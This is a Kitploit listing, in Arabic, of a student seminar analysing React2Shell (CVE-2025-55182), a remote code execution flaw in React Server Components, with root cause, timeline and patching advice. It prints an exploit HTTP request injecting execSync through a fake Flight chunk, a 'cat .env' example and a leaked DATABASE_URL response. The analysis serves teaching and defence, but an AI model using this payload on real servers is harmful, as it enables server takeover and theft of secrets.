Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
tech-seminar-React2Shell — [Woori FISA] فوز في الندوة التقنية - الفريق الثالث من الدفعة السادسة لتطوير الخدمات السحابية - تحليل وبحث React2Shell (CVE-2025-55182) | Kitploit
أدوات/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[Woori FISA] فوز في الندوة التقنية - الفريق الثالث من الدفعة السادسة لتطوير الخدمات السحابية - تحليل وبحث React2Shell (CVE-2025-55182)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 6 أشهرلم تتم المراجعة بعد

React2Shell (CVE-2025-55182)

الندوة التقنية لبرنامج ourFISA - الدفعة السادسة - الفريق الثالث: تحليل وبحث لثغرة React2Shell، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) ناتجة عن خلل تصميمي في مكوّن خادم React (RSC)

الفريق

صورة الفوز

العضوالدورGitHub
남인서جمع المواد، إعداد العرض التقديمي، التقديم@sene03
유승준جمع المواد، إعداد العرض التقديمي، التقديم@fluanceifi
이수현جمع المواد، إعداد العرض التقديمي@hyun793
김유정جمع المواد، إعداد العرض التقديمي@yujung23

جدول المحتويات (Contents)

  1. نظرة عامة: ما هي React2Shell؟
  2. آلية هجوم React2Shell
  3. تأثير React2Shell
  4. مسؤولية الأمان في الواجهة الأمامية

01. نظرة عامة: ما هي React2Shell؟

React2Shell (CVE-2025-55182) هي ثغرة أمنية حرجة تم اكتشافها في عملية الاتصال عبر بروتوكول Flight المستخدم من قِبل مكوّن خادم React (RSC).

  • المشكلة الأساسية: يمكن للمهاجم تنفيذ أوامر داخلية على الخادم من خلال طلب HTTP واحد فقط دون الحاجة إلى أي مصادقة.
  • درجة الخطورة: درجة CVSS 10.0
  • سبب الحدوث: تلوث النموذج الأولي (Prototype Pollution) الناتج عن إلغاء تسلسل (Deserialization) بيانات غير موثوقة

الخلل التصميمي في بروتوكول Flight

يستخدم React بروتوكول Flight لمعالجة المكوّنات، وهو إلى جانب السلاسل النصية والمصفوفات يدعم أنواعًا معقدة مثل Promise وBlob وMap.

التعبيرالنوعالوصف
$$Escaped $سلسلة نصية حرفية تبدأ بـ $
$@Promise/Chunkمرجع إلى معرّف Chunk

يستغل المهاجم نقاط الضعف في طريقة معالجة تدفق البروتوكول هذه لحقن سكربتات خبيثة والحصول على السيطرة على الخادم.

الجدول الزمني

  • 2025.11.29: الإبلاغ الأول عبر برنامج Meta Bug Bounty
  • 2025.11.30: تأكيد الفريق الأمني وبدء التعاون مع فريق React
  • 2025.12.01: تطوير كود التصحيح والتحقق منه لدى الشركات الشريكة (مثل Vercel)
  • 2025.12.03: نشر التصحيح والإعلان العام عن CVE

02. آلية هجوم React2Shell

  • أكثر طرق الهجوم شيوعًا هي استغلال نظام المراجع (Reference) في بروتوكول React Flight دون الحاجة إلى أي شروط مسبقة.
  • يتكوّن الهجوم من ثلاث مراحل رئيسية: زرع القنبلة (إرسال الحمولة) → الإشعال (إلغاء التسلسل) → الانفجار (تنفيذ RCE).

1) زرع القنبلة

يرسل المهاجم بيانات JSON إلى الخادم من خلال طلب يتضمن ترويسة Next-Action وترويسة multipart/form-data. وفي هذا الطلب، يضمّن المهاجم في جسم الطلب (body) قطعة مزيفة (Fake Chunk) متنكّرة بشكل كائن Promise.

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) الإشعال

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. يتم ربط Chunk.prototype.then بالخاصية then الخاصة بالقطعة المزيفة التي أرسلها المهاجم.
  2. أثناء عملية إلغاء تسلسل بيانات Blob، يدخل الكود الخبيث المخزّن في _prefix كوسيط لدالة Function.
  3. بمجرد استدعاء الدالة المُنشأة ككائن thenable لـ Promise، يتم تنفيذ الكود التعسفي الذي زرعه المهاجم على الخادم.

3) الانفجار

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

السبب الجذري

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}
  • عند تفسير React لمرجع بصيغة $1:path:to:value، يقوم بتقسيم السلسلة النصية بناءً على النقطتين الرأسيتين (:) ثم يتنقل داخل خصائص الكائن.
  • خلال هذه العملية، يؤدي تفسير $1:__proto__:then إلى إتاحة الوصول إلى النموذج الأولي للقطعة وخاصية then الخاصة بالكائن (Chunk.prototype.then).
  • في النهاية، تكتسب القطعة المزيفة التي أرسلها المهاجم خاصية then الخاصة بالقطعة الحقيقية، فيتم تنفيذ الكود الذي قصده المهاجم.

03. تأثير React2Shell

أحدثت هذه الثغرة أصداء واسعة في منظومة الويب الحديثة بأكملها.

  • اهتزاز الثقة في مكوّنات الخادم: أثارت نقاشًا حول "هل يجب على أطر عمل الواجهة الأمامية أن تتحمل مسؤولية أمان الخادم أيضًا؟"
  • حالة طوارئ في منصات الاستضافة: قامت كبرى شركات PaaS الداعمة لـ RSC مثل Vercel وNetlify بإصدار تصحيحات أمنية عاجلة.

04. مسؤولية الأمان في الواجهة الأمامية

تركت حادثة React2Shell درسًا مفاده أن "مطوّري الواجهة الأمامية بحاجة إلى فهم أمان الخادم أيضًا".

إجراءات الاستجابة

1. تحديث حزم React ذات الصلة فورًا

قم بتحديث الحزم ذات الصلة مثل react-server-dom-webpack إلى أحدث إصدار (19.0.1+ إلخ) في أقرب وقت

2. التحقق من توفر تصحيح لإطار العمل

نظرًا لأن الأطر المدمجة لـ RSC مثل Next.js لا تُحل مشكلتها بمجرد ترقية React فقط، يجب مراجعة ملاحظات الإصدارات الأمنية الخاصة بالإطار نفسه والترقية إلى أحدث إصدار

3. المراقبة

استخدم أنظمة مراقبة مثل Grafana واربطها بوسائل إرسال تنبيهات مثل البريد الإلكتروني وSlack لإعداد إنذارات تتيح اتخاذ إجراءات فورية

يجب أن ندرك أنه بقدر ما توسّعت حدود الواجهة الأمامية بفضل التطور التقني، اتسع أيضًا نطاق المسؤولية تجاه الأمان.


المراجع

React Official Patch

دليل التحليل الشامل لثغرة React2Shell: CVE-2025-55182

تحليل ثغرة مكوّنات خادم React ومسارات اختراق النظام

PoC: كود إثبات المفهوم للثغرة

تنزيل الأداة